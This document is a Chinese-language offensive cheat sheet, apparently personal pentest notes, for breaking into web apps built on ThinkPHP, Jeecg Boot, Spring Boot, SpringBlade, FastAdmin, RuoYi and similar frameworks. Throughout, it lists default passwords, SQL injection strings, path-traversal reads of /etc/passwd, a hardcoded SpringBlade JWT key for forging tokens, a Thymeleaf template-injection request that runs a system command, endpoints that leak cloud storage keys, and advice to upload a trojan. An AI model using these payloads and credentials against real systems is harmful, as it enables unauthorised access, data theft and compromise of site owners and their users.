vue

找未授权的工具

https://github.com/zangcc

插件扫描superSearchPlus

https://github.com/dark-kingA/superSearchPlus

破解Vue.js devtools

Vue.js devtoolsGithub下载地址:https://github.com/vuejs/vue-devtools/tree/v5.1.1

寻找未授权的地方

一般都在js文件夹里面的app.******.js文件里,点击调试器,选中app.*********.js文件,全局搜索快捷键Ctrl+F,再点击下面的{}符号,就能很舒服的看到所有路径目录。

1.如果有弹窗的时候

找到这个这个弹窗css删除掉

2.直接找到没有权限的包 手动改code码 ok继续

 

 

thinkphp

师傅们,可以用这个工具先检测有没有漏洞

https://github.com/Lotus6/ThinkphpGUI

找到漏洞了以后

可以使用Google浏览器进行检索这个漏洞 的打法

 

Thinkphp 站点常见的弱口令

  1. sysadmin:sysadmin123
  2. admin:admin
  3. admin:admin123
  4. admin:123456
  5. admin:admin@123
  6. admin:1qaz@WSX
  7. test:test

进入系统以后,可以尝试一下sql注入和xss

  1. 1' and if(1,sleep(5),3)--+
  2. 1" and if(1,sleep(5),3)--+
  3. 1) and if(1,sleep(5),3)--+
  4. 1 and if(1,sleep(5),3)--+

 

我们也可以去找一下文件上传点,看看他是什么编码组成的,然后在尝试上传木马

 

jeecg boot

可以先用工具扫一下

https://github.com/K-7H7l/Jeecg_Tools

使用命令

java -jar Jeecg_Tools-1.0-SNAPSHOT-jar-with-dependencies.jar

 

登录接口 /sys/login

nday的接口

/jmreport/queryFieldBySql
/jmreport/loadTableData

/sys/dict/queryTableData可以执行sql注入

/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA

 

 

webpack

工具https://github.com/rtcatc/Packer-Fuzzer

第一种 爆500 该类型

Content-Type:application/json

第二种 爆500  添加缺少的参数

1.F12时,查看在生成js,可能会有一个

文件,.map文件可以理解为网站地图,通过.map文件可以还原源代码,如果在生产环境下,使用wabpack打包后没有及时清理.map文件

通过相关工具,可以将.map文件还原成源代码,然后进行源代码审计,发现漏洞。

2.接口的爬取

方法:1, 可以直接使用工具快速进行API接口的提取,
2,使用FindSomething浏览器插件提取敏感信息和接口
3,手动分析源代码,编写脚本提取JS文件路径,然后使用脚本访问JS文件,进行接口提取

有二种类型

四位数.八位字符.js和chunk-vendors.八位字符.js

 

方:1:

我们可以先去搜索后面的数字,查看他的位置,然后拼接别的

然后我们就可以去问ai,写一个提取py脚本

在http://xxx/appjs这个js文件中,有一段字符:login:”2238b495″,根据这段字符写一个正则匹配,然后匹配js文件中所有符合这种格式的字符串,然后提取出来,拼接成:login.2238b495.js这种格式,然后再拼接到http://xxx/上进行访问

方法2:

不清楚js文件的路径是如何组成的,不知道特征长啥样,全局搜索也搜索不到,这时候需要进行断点调试,将路径调试出来

一般在/static/js/

/static/js/路径后面拼接了一个e变量,而这个变量是以形参传入的,因此如果去翻文件找的话是不太现实的

所以我们可以直接在这里打个断点,然后在重新刷新页面

让程序往下运行一步:可以看到e的值 92xx

继续:在运行一步,路径就出来了:static/js/92xx.xxxxx.js

 

 

 

spring boot

如果发现https://aa.com/api/xxx类似接口,果断使用onescan插件扫描springboot敏感目录

 

 

 

 

 

 

 

 

heapdump

Springboot搭建的系统,首先访问Actuator模块,看有哪些端点暴露。
特点:https://aa.com/api/xxx/actuator/
如果能访问到actuator,可以查看很多暴露的端点,若是发现heapdump文件,这里打开heapdump转储文件,使用工具JDumpSpider
java -jar JDumpSpider.jar  D:heapdump
heapdump下载

GET /api/actuator/heapdump HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:101.0) Gecko/20100101 Firefox/101.0
Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJ3ZWIiLCJpc3MiOiJ5YW5odW8iL

签名

将token取出,放在谷歌浏览器,使用谷歌hackbar增加http头部Token
然后用工具解密

Springblade框架

SpringBlade是一个基于Spring Boot和Spring Cloud的微服务架构框架,它是由商业级项目升级优化而来的综合型项目
特征2
在页面加载过程中,会出现以下的加载页面,和最下方的https://bladex.vip,此时我们就可以将这个地址放到fofa上去扩大资产
特征3
在路径中若发现blade,这个字段,也基本可以确定是blade框架
/api/blade-user/info
/api/blade-auth/oauth/captcha
blade-system .....
利用,接口泄露
/oaApi/blade-system/menu/buttons
/oaApi/blade-system/user/user-list  泄露信息
/oaApi/blade-resource/oss/list 泄露云服务key 我们看使用OSS Browser工具,使用cname进行连接 下载地址:https://github.com/aliyun/oss-browser
常见的端口
/api/blade-system/user/user-list
/api/blade-system/tenant/select
/api/blade-develop/datasource/list
/api/blade-resource/oss/list
/api/blade-develop/datasource/list
/api/blade-system/code/remove
/api/blade-resource/oss/remove
/api/blade-system/dict-biz/remove
/authority/role/add
/system/dict/add
.......

SQL注入

/oaApi/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1
 其他地方也可以尝试 

jwt硬编码

https://jwt.io/

bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject
上面的密钥放到指示的位置,然后修改payload里的字段,因为服务器都是通过这个payload中的字段进行鉴权的,所以通过修改payload中的字段,来达到伪造jwt欺骗服务器






FASTadmin

FastAdmin是一个基于ThinkPHP5和Bootstrap的后台开发框架,支持权限管理、响应式开发、多语言、模块化开发、CRUD和自由可扩展等功能

 

前台任意文件读取漏洞

GET /index/ajax/lang?lang=../../application/database HTTP/1.1

 

 

 

ruoyi系统

若依RuoYi系统是一套基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro

默认弱口令

admin/admin123

admin/admin

admin/123456

ruoyi/ruoyi

admin/admin888

ruoyi/123456

也可以使用工具

https://github.com/thelostworldFree/Ruoyi-All

https://github.com/charonlight/RuoYiExploitGUI

druid目录探测

未授权:/druid/index.html

/druid/login.html

也可能在api下

/prod-api/druid/login.html
/dev-api/druid/login.html

常见的路径

/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html

然后就通过网上的弱口令进去尝试

1.任意文件读取  RuoYi<4.5.1

/common/download/resource?resource=/profile/../../../../../../../etc/passwd

2.任意文件读取2    RuoYi<4.7.6

3.sql注入  RuoYi< 4.6.2

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

4.sql注入2  4.7.0<x<4.7.5

sql=create/**/table/**/test/**/as/**/select/**/database()

 

5.后台计划任务  <= 4.6.2

git clone https://github.com/artsploit/yaml-payload

6.后台计划任务2  4.6.2 < Ruoyi < 4.7.2

7.thymeleaf 模板注入  RuoYi <= v4.7.1

payload

POST /monitor/cache/getNames HTTP/1.1
accept: */*
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: closeContent-type: application/x-www-form-urlencoded
Content-Length: 219

cacheName=1&fragment=((${T (java.lang.Runtime).getRuntime().exec("gnome-calculator")}))

部分编码

 

8.jdbc template sql注入

9.shiro命令执行

直接用工具跑